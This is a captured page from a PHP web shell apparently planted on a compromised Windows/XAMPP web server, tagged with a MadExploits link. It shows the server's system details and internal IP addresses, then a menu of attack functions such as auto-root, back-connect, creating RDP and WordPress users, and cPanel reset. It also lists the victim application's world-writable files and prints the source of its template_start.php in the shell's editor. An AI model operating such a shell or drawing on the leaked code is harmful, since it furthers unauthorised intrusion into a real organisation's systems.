Windows NT DGPENSV2LPKMN 10.0 build 14393 (Windows Server 2016) AMD64
Apache/2.4.46 (Win64) OpenSSL/1.1.1h PHP/7.3.25
: 172.16.0.66 | : 172.16.0.254
Cant Read [ /etc/named.conf ]
7.3.25
SYSTEM
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
BLACK DEFEND!
README
+ Create Folder
+ Create File
[ A ]
[ C ]
[ D ]
C: /
xampp7 /
htdocs /
edgpens /
inc /
[ HOME SHELL ]
Name
Size
Permission
Action
bak.sql
0
B
-rw-rw-rw-
config.php
6.25
KB
-rw-rw-rw-
external.json
81
B
-rw-rw-rw-
f_start.php
3.26
KB
-rw-rw-rw-
page_footer.php
220
B
-rw-rw-rw-
page_head.php
3.43
KB
-rw-rw-rw-
page_header.php
4.78
KB
-rw-rw-rw-
page_header_200423.php
3.23
KB
-rw-rw-rw-
page_header_230312.php
4.27
KB
-rw-rw-rw-
page_sidebar.php
17.64
KB
-rw-rw-rw-
page_sidebar_alt.php
3.94
KB
-rw-rw-rw-
template_end.php
1.46
KB
-rw-rw-rw-
template_scripts.php
1.43
KB
-rw-rw-rw-
template_scripts_200430.php
657
B
-rw-rw-rw-
template_scripts_notinclude.ph...
2.68
KB
-rw-rw-rw-
template_start.php
16.75
KB
-rw-rw-rw-
template_start_200728.php
8.67
KB
-rw-rw-rw-
Delete
Unzip
Zip
${this.title}
Close
Code Editor : template_start.php
<?php /** * template_start.php * * Author: pixelcave * * The first block of code used in every page of the template * */ session_start(); // setcookie( 'ace.fontSize', 18 ); $GLOBALS['g_success'] = 0; if(isset($_SESSION['success'])){ setcookie('chk_success', 'ok'); if(isset($_COOKIE['chk_success'])){ $GLOBALS['g_success'] = (isset($_GET['success'])) ? $_GET['success'] : "b" ; unset($_SESSION['success']); } } include 'odbc.php'; if ($_SESSION['session']) $session=updateSession($_SESSION["session"]); else $session=''; // exit(); // print_r($_POST); // exit(); // $username=$_POST['uid']; // $password=$_POST['password']; // include("odbc.php"); // include ("sessions.php"); // $_SESSION["session"]=login($username,$password); /* Primary navigation array (the primary navigation will be created automatically based on this array, up to 3 levels deep) */ $user_session = get_user($_SESSION['session']); $user = get_user_full($_SESSION['session']); $roles = (int)$user['idRoles']; // $primary_nav = array( // array( // 'name' => 'Dashboard', // 'url' => 'index.php?page=dashboard', // 'icon' => 'gi gi-home' // ), // array( // 'url' => 'separator', // ) // ); // if($roles !== 1){ // array_push($primary_nav, array( // 'name' => 'Site Visit', // 'icon' => 'gi gi-bookmark', // 'url' => 'index.php?page=edg/site' // ) // ); // } // array_push($primary_nav, array( // 'name' => 'Application', // 'icon' => 'gi gi-bookmark', // 'url' => 'index.php?page=edg/main' // ) // ); // if($roles == 1){ // array_push($primary_nav, array( // 'url' => 'separator', // ),array( // 'name' => 'Companies', // 'icon' => 'gi gi-group', // 'url' => 'index.php?page=kod/kodSyarikat_a' // ),array( // 'name' => 'Vessels', // 'icon' => 'gi gi-boat', // 'url' => 'index.php?page=kod/kodKapal_a' // ),array( // 'name' => 'Ports', // 'icon' => 'gi gi-anchor', // 'url' => 'index.php?page=kod/kodPort_a' // ) // ); // } // if($roles == 2 || $roles == 3){ // array_push($primary_nav, array( // 'url' => 'separator', // ),array( // 'name' => 'Audit Trail', // 'icon' => 'fa fa-folder', // 'url' => 'index.php?page=kod/audit_trail' // ) // ); // } // $access_utility = array(4,5); // if(in_array($roles, $access_utility)){ // array_push($primary_nav, array( // 'url' => 'separator', // ),array( // 'name' => 'Test Companies', // 'icon' => 'gi gi-group', // 'url' => 'index.php?page=kod/kodSyarikat_a' // ),array( // 'name' => 'Test Vessels', // 'icon' => 'gi gi-boat', // 'url' => 'index.php?page=kod/kodKapal_a' // ), // array( // 'name' => 'Test menu access', // 'icon' => 'gi gi-anchor', // 'url' => 'index.php?page=utility/menu_access' // ), // array( // 'name' => 'Test menu', // 'icon' => 'gi gi-anchor', // 'url' => 'index.php?page=kod/menu_list' // ) // ); // array_push($primary_nav, array( // 'name' => 'Utility', // 'icon' => 'fa fa-cog', // 'sub' => array( // array( // 'name' => 'User Management', // 'sub' => array( // array( // 'name' => 'Users', // 'url' => 'index.php?page=utility/userList' // ), // array( // 'name' => 'User Roles', // 'url' => 'index.php?page=utility/userRole' // ),array( // 'name' => 'Audit Trail', // 'icon' => 'fa fa-folder', // 'url' => 'index.php?page=kod/audit_trail' // ) // ) // ), // array( // 'name' => 'Landing Page', // 'sub' => array( // array( // 'name' => 'News & Event', // 'url' => 'index.php?page=utility/newsPage' // ), // array( // 'name' => 'Needs For Declaration', // 'url' => 'index.php?page=utility/declarationPage' // ), // array( // 'name' => 'By Law/Regulations/Circulars', // 'url' => 'index.php?page=utility/lawPage' // ) // ) // ), // array( // 'name' => 'Master Codes', // 'sub' => array( // array( // 'name' => 'Dangerous Goods', // 'url' => 'index.php?page=kod/kodDG' // ), // array( // 'name' => 'Countries', // 'url' => 'index.php?page=kod/kodNegara' // ), // array( // 'name' => 'Ports', // 'url' => 'index.php?page=kod/kodPort' // ), // array( // 'name' => 'Vessels', // 'url' => 'index.php?page=kod/kodKapal' // ), // array( // 'name' => 'Companies', // 'url' => 'index.php?page=kod/kodSyarikat' // ), // array( // 'name' => 'Company Types', // 'url' => 'index.php?page=kod/kodJenisSyarikat' // ), // array( // 'name' => 'Marine Facilties', // 'url' => 'index.php?page=kod/kodMF' // ), // array( // 'name' => 'Vessel Types', // 'url' => 'index.php?page=kod/kodJenisKapal' // ), // array( // 'name' => 'Operation Types', // 'url' => 'index.php?page=kod/kodJenisOps' // ), // array( // 'name' => 'Call Purposes', // 'url' => 'index.php?page=kod/kodCP' // ), // array( // 'name' => 'Packing Types', // 'url' => 'index.php?page=kod/kodPacking' // ), // array( // 'name' => 'CTU Types', // 'url' => 'index.php?page=kod/kodCTU' // ), // array( // 'name' => 'Dimensions', // 'url' => 'index.php?page=kod/kodDimension' // ), // array( // 'name' => 'Weight Units', // 'url' => 'index.php?page=kod/kodWeight' // ) // ) // ) // ) // ) // ); // } if($roles != 5){ $sql = "SELECT a.*,IF(b.idMenu IS NOT NULL,'Y','N') AS has_access FROM utiliti_menu a LEFT JOIN utiliti_kawalan b ON b.idMenu = a.idMenu AND b.idRoles = ? WHERE 1 AND IF(a.href='',1,b.idMenu IS NOT NULL) AND a.status_active = 'Y' ORDER BY a.order_no ASC"; $param_data = array( "idRoles" => $roles ); }else{ $sql = "SELECT a.* FROM utiliti_menu a WHERE 1 AND a.status_active = 'Y' ORDER BY a.order_no ASC"; } $data = mysqli_prepare_all($sql,$param_type = "auto",$param_data); $menu_arr = array(); while($row_data = $data->fetch_assoc()){ // echo $row_data['name']; if(empty($menu_arr[$row_data['level']])) $menu_arr[$row_data['level']] = array(); array_push($menu_arr[$row_data['level']], array( 'idMenu' => $row_data['idMenu'], 'level' => $row_data['level'], 'idMenuMain' => $row_data['idMenuMain'], 'name' => $row_data['name'], 'href' => $row_data['href'], 'order_no' => $row_data['order_no'], 'status_active' => $row_data['status_active'], 'has_separator' => $row_data['has_separator'], 'icon' => $row_data['icon'] ) ); } // print_r($menu_arr); function deployme($primary_nav,$arr,$lvl,$idMenu = null){ for ($i=0; $i < count($arr[$lvl]); $i++) { $grant = 'Y'; if(!empty($idMenu) && $idMenu != $arr[$lvl][$i]['idMenuMain']) $grant = 'N'; if($grant == 'Y'){ $lvl_next = $arr[$lvl][$i]['level']+1; if($arr[$lvl][$i]['has_separator'] == 'Y'){ array_push($primary_nav, array( 'url' => 'separator' ) ); } if(empty($arr[$lvl][$i]['href'])){ $cont_this = 'N'; for ($x=0; $x < count($arr[$lvl_next]); $x++) { if($arr[$lvl_next][$x]['idMenuMain'] == $arr[$lvl][$i]['idMenu']) $cont_this = 'Y'; } if($cont_this == 'Y'){ $sub_nav = array(); $memey = deployme($sub_nav,$arr,$lvl+1,$arr[$lvl][$i]['idMenu']); array_push($primary_nav, array( 'name' => $arr[$lvl][$i]['name'], 'icon' => $arr[$lvl][$i]['icon'], 'sub' => $memey ) ); } $x = $primary_nav[count($primary_nav)-1]; if(empty($memey) && empty($x['sub'])){ if(empty($x['url'])) array_pop($primary_nav); } }else{ array_push($primary_nav, array( 'name' => $arr[$lvl][$i]['name'], 'icon' => $arr[$lvl][$i]['icon'], 'url' => $arr[$lvl][$i]['href'] ) ); } } } return $primary_nav; } $primary_nav = array( array( 'name' => 'Dashboard', 'url' => 'index.php?page=dashboard', 'icon' => 'gi gi-home' ), array( 'url' => 'separator', ) ); if($user_session['usertype']!='2') $primary_nav = deployme($primary_nav,$menu_arr,1); ?> <!DOCTYPE html> <!--[if IE 9]> <html class="no-js lt-ie10"> <![endif]--> <!--[if gt IE 9]><!--> <html class="no-js"> <!--<![endif]--> <head> <meta charset="utf-8"> <title><?php echo $template['title'] ?></title> <meta name="description" content="<?php echo $template['description'] ?>"> <meta name="author" content="<?php echo $template['author'] ?>"> <meta name="viewport" content="width=device-width,initial-scale=1,maximum-scale=1.0"> <!-- Icons --> <!-- The following icons can be replaced with your own, they are used by desktop and mobile browsers --> <link rel="shortcut icon" href="img/favicon.png"> <link rel="apple-touch-icon" href="img/icon57.png" sizes="57x57"> <link rel="apple-touch-icon" href="img/icon72.png" sizes="72x72"> <link rel="apple-touch-icon" href="img/icon76.png" sizes="76x76"> <link rel="apple-touch-icon" href="img/icon114.png" sizes="114x114"> <link rel="apple-touch-icon" href="img/icon120.png" sizes="120x120"> <link rel="apple-touch-icon" href="img/icon144.png" sizes="144x144"> <link rel="apple-touch-icon" href="img/icon152.png" sizes="152x152"> <link rel="apple-touch-icon" href="img/icon180.png" sizes="180x180"> <!-- END Icons --> <!-- Stylesheets --> <!-- Bootstrap is included in its original form, unaltered --> <link rel="stylesheet" href="css/bootstrap.min.css"> <!-- Related styles of various icon packs and plugins --> <link rel="stylesheet" href="css/plugins.css"> <!-- The main stylesheet of this template. All Bootstrap overwrites are defined in here --> <link rel="stylesheet" href="css/main.css"> <!-- Include a specific file here from css/themes/ folder to alter the default theme of the template --> <?php if ($template['theme']) { ?><link rel="stylesheet" href="css/themes/<?php echo $template['theme']; ?>.css" id="theme-link"><?php } ?> <!-- The themes stylesheet of this template (for using specific theme color in individual elements - must included last) --> <link rel="stylesheet" href="css/themes.css"> <!-- END Stylesheets --> <!-- <link rel="stylesheet" href="js/bootstrap-tagsinput/bootstrap-tagsinput.css"> --> <!-- My Own Custom Sheet --> <link rel="stylesheet" href="custom.css"> <!-- Modernizr (browser feature detection library) --> <script src="js/vendor/modernizr-2.8.3.min.js"></script> </head> <body>
Close